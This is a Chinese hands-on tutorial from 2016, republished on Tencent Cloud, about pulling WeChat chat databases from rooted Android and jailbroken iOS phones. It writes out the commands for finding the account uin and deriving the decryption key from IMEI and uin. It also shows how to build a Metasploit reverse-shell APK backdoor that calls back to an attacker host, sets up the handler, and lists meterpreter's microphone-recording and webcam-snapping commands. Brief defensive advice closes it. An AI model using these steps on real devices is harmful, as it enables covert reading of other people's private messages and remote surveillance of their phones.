Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >实战-如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓

实战-如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓

作者头像
用户1631416
发布于 2018-04-12 03:19:52
发布于 2018-04-12 03:19:52
5.4K00
代码可运行
举报
文章被收录于专栏:玄魂工作室玄魂工作室
运行总次数:0
代码可运行

在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。

“如何获取Android、iPhone手机上的微信聊天记录? ”

0×00 条件:

安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)

Apple设备越狱,安装OpenSSH插件

0×01 安卓:

很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。

安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。

Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg

首先通过FTP把文件down到本地:

以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

数据库管理器打开:提示加密或者不是数据库文件

这里可以用windows环境下的SQLite Database Browser浏览器打开:

提示输入密码:

那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。

微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种:

1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin; 2.通过抓取WEB版微信聊天的数据包获取到uin。

1.1 App 配置文件

find / -name “system_config_prefs.xml”

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<int name="default_uin" value="146****21" />

1.2 谷歌chrome浏览器登陆WEB版微信:

登陆后新建窗口并访问chrome://net-internals/#events

发送信息 抓包 find uin值

uin:146****21

通过上述两种方法找到的uin值是相同的。

安卓拨号界面输入*#06#获得手机IMEI码:354**********85

IMEI值+uin值组合即为354**********85146****21

md5: http://www.spriteking.com/cmd5/ 左侧加密

得到32位小写md5值:1cbf8b842f8bf650aa65e5d3ced07735取其前七位:1cbf8b8输入到sql浏览器中。

Linux、Mac用户也可以在终端执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo -n "354**********85146****21" | md5sum | cut -c -7

成功打开微信的数据库文件:

Wechat2txt.py:gist.github.com

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import os

0×02 苹果:

Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:

iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。

在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
find /var/mobile/Containers/Data -name "MM.sqlite" 

mkdir /cachefind /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache

0×03 在安卓终端植入后门

3.1 实验环境

Kali Linux(Hack):192.168.31.213

Android(靶机):192.168.31.118

3.2生成后门文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd Desktop
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk

3.3 运行metasploit控制台

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfconsoleuse exploit/multi/handlerset payload android/meterpreter/reverse_tcpset LHOST 192.168.31.213set LPORT 443run

3.4 安装&运行后门App

后门能进行什么操作?我们来看看usage:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

record_mic 通过手机麦克风进行窃听、录音; webcam_list 列出安卓设备的所有摄像头; webcam_snap 通过摄像头进行偷拍… 等等

0×04 演示视频

0×05 APK后门分析:

把apk放到apk分析工具(apkStudio、Bytecodeviewer)进行解包,我们来看看后门App的源码:

(apkStudio)

在smali/com/metasploit/stage/MainActivity.smali中我们可以找到后门服务器的ip端口配置:

(apkStudio)

(Bytecodeviewer)

0×06 预防&安全建议

安卓:从可信来源下载应用程序,避免感染恶意程序;在移动充电桩充电前及时关闭USB调试。

苹果:越狱后及时修改root密码,避免使用默认密码、弱口令。

0×07 文中工具下载地址:

SQLite Database Browser:http://pan.baidu.com/s/1nuWlDgd

SSHDroid:http://pan.baidu.com/s/1b6PBK6

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2016-08-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Android获取QQ和微信的聊天记录,并保存到数据库
(该方法只适用于监控自己拥有的微信或者QQ ,无法监控或者盗取其他人的聊天记录。本文只写了如何获取聊天记录,服务器落地程序并不复杂,不做赘述。写的仓促,有错别字还请见谅。)
Porco1Rosso
2018/04/10
11.7K32
Android获取QQ和微信的聊天记录,并保存到数据库
微信本地数据库解密
微信的本地数据库EnMicroMsg.db存储在/data/data/com.tencent.mm/MicroMsg/(一长串)/中 uin存储在/data/data/com.tencent.mm/shared_prefs/com.tencent.mm_preferences.xml(或auth_hold_prefs.xml)中, IMEI 存储在/data/data/com.tencent.mm/MicroMsg下的systemInfo.cfg和CompatibleInfo.cfg中,或/data/data/com.tencent.mm/shared_prefs/DENGTA_META.xml
全栈程序员站长
2022/09/05
5.1K0
微信本地数据库解密
工具的使用 | Metasploit Framework(MSF)的使用
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
谢公子
2022/01/13
2.6K0
工具的使用 | Metasploit Framework(MSF)的使用
记一次微信数据库解密过程
本文主要记录手动解密微信数据库的过程,用于技术讨论和交流,思路仅供参考,严禁用于不法用途。
FB客服
2019/03/08
1.6K0
记一次微信数据库解密过程
android微信聊天记录导出到电脑【微信安卓版技巧】
  微信,对它又爱又恨!爱的是微信能替代很多手机通话短信,恨的是有些较早前的手机不能友好支持,比如ytkah之前用的i8000,挺上手的,就是没办法装微信,当时工作需要必须用微信,只好忍痛割爱买了个android手机。安卓手机还算可以吧,就是流量大户、占用内存太大了,经常会生成一个很大相册预览图的文件夹,有时拍照就提示空间不足,得先清理一下。等你清理完,妹子的媚眼不懂飞向哪个大叔身上了,哎!   腾讯出招了:通过腾讯电脑管家将微信聊天记录备份到电脑上   如果不想安装电脑管家,可以试试下面的方法androi
ytkah
2018/03/05
5.4K0
android微信聊天记录导出到电脑【微信安卓版技巧】
解密聊天记录数据库
微信6.2.5使用sqlcipher进行AES加密,因此我们要得到密钥,根据编译的信息,可以得知微信使用 key=md5(IMEI+uin) | cut -c -7 , 即取md5的前7位做为密钥。解密微信聊天数据库就是简单的一行代码,(注意sqlcipher新版本(3.x)默认不向下兼容,需要使用,cipher_use_hmac 是兼容1.1.x,kdf_iter 是兼容2.1.x的)。
战神伽罗
2019/07/24
2.4K0
手把手教你读取Android版微信和手Q的聊天记录(仅作技术研究学习)
特别说明:本文内容仅用于即时通讯技术研究和学习之用,请勿用于非法用途。如本文内容有不妥之处,请联系JackJiang进行处理!
JackJiang
2018/10/08
4.2K1
基于 Android 读取微信本地 DB 数据 | 思维原理及技术分析
该移动端软件基于Android开发,是一个解析微信数据信息(包括微信个人资料、联系人、聊天记录等)并重装报文同步至服务端的一款应用。其实实属公司业务需要而开发的一个小玩意,Android嘛笑O(∩_∩)O哈哈。
AlicFeng
2019/03/04
1.3K0
微信聊天记录导出为电脑txt文件教程
网上有一些工具也可以完成这个功能,但是基本都是付费的。手动操作的话,找了很多的博客,基本没有完全有效的。最终找到一篇很靠谱的教程:传送门,本文基本参考这篇进行整理。
godweiyang
2020/03/24
11.1K2
微信聊天记录导出为电脑txt文件教程
Metasploit渗透Android
进入https://natapp.cn/ 注册并创建tcp隧道 复制authtoken 下载客户端
tea9
2022/09/08
6620
用 Python 分析微信群聊记录,是怎样一种体验?
前几天,有一位小伙伴在后台给我留言,说自己有几十个微信群,自己精力有限,没法看过来,想要筛选一些高质量的群,让我是否能帮忙想想办法。
AirPython
2020/04/18
1.8K0
Kali之安卓木马
Kali linux的安卓木马一般只能在内网操作,要想在监控互联网的安卓手机,必须要使用内网穿透,工具有很多,我使用的是NATAPP。思路如下:
知识与交流
2021/04/02
2.8K0
Kali之安卓木马
微信聊天记录数据分析「建议收藏」
2021年2月20日我和我女朋友第一次见面,之后开启了我们两个人的故事,时隔一年我想将我们的聊天记录提取出来进行简单的数据分析一下。微信里面有2021年4月20日至2022年2月19日的聊天记录,一共十个月的数据。
全栈程序员站长
2022/07/28
5.6K0
微信聊天记录数据分析「建议收藏」
3K Star开源神器备份聊天记录的神器
大家好!我是开源君,一个热衷于软件开发和运维的工程师。本频道我专注于分享Github和Gitee上的高质量开源项目,并致力于推动前沿技术的分享。
开源日记
2023/12/13
6130
3K Star开源神器备份聊天记录的神器
如何恢复微信已删除的聊天记录【IOS/Android都可以】
随着微信的普及,很多朋友在聊微信时不小心把聊天记录删除,有的聊天记录比较重要,不知道怎么找回。下面微部落博客给大家分享iphone恢复微信已删除的聊天记录,希望对大家有所帮助。
HACK学习
2019/08/07
3.1K0
如何恢复微信已删除的聊天记录【IOS/Android都可以】
获取任何小程序源码
这种方法,并不能反编译出所有的小程序源码,请自知! 具体的局限请看:qwerty472123大神的md文件  https://github.com/qwerty472123/wxappUnpacker 
似水的流年
2019/12/06
4.5K0
MSF恶意程序利用【实战】
作为一名渗透测试者,我们可以击败安全防御机制,但这是仅仅是我们工作的一部分。当你进行渗透攻击时,请记住如下的忠告:
用户10781703
2024/08/19
1540
Appium之测试微信小程序
如果用手机自带的浏览器去访问各种网页。自然而然都能获取到 WebView 的,不需要开启什么。用原生的、手机自带的浏览器去试下,也能得到对应的结果。
清菡
2020/12/16
3K0
Appium之测试微信小程序
Metasploit从入门到入坟
MSF是当今安全专业人员免费提供的最有用的审计工具之一!!本篇为地基篇,都是基础必备知识,掌握它吧~
用户6343818
2020/12/14
1.1K0
Metasploit从入门到入坟
最全的ios系统导出微信聊天记录&生成词云教程
首先放一张我的iPhone手机导出微信聊天记录生成的词云效果图(个别敏感词汇请大家自行忽略hhh):
全栈程序员站长
2022/07/23
3.8K0
最全的ios系统导出微信聊天记录&生成词云教程
相关推荐
Android获取QQ和微信的聊天记录,并保存到数据库
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验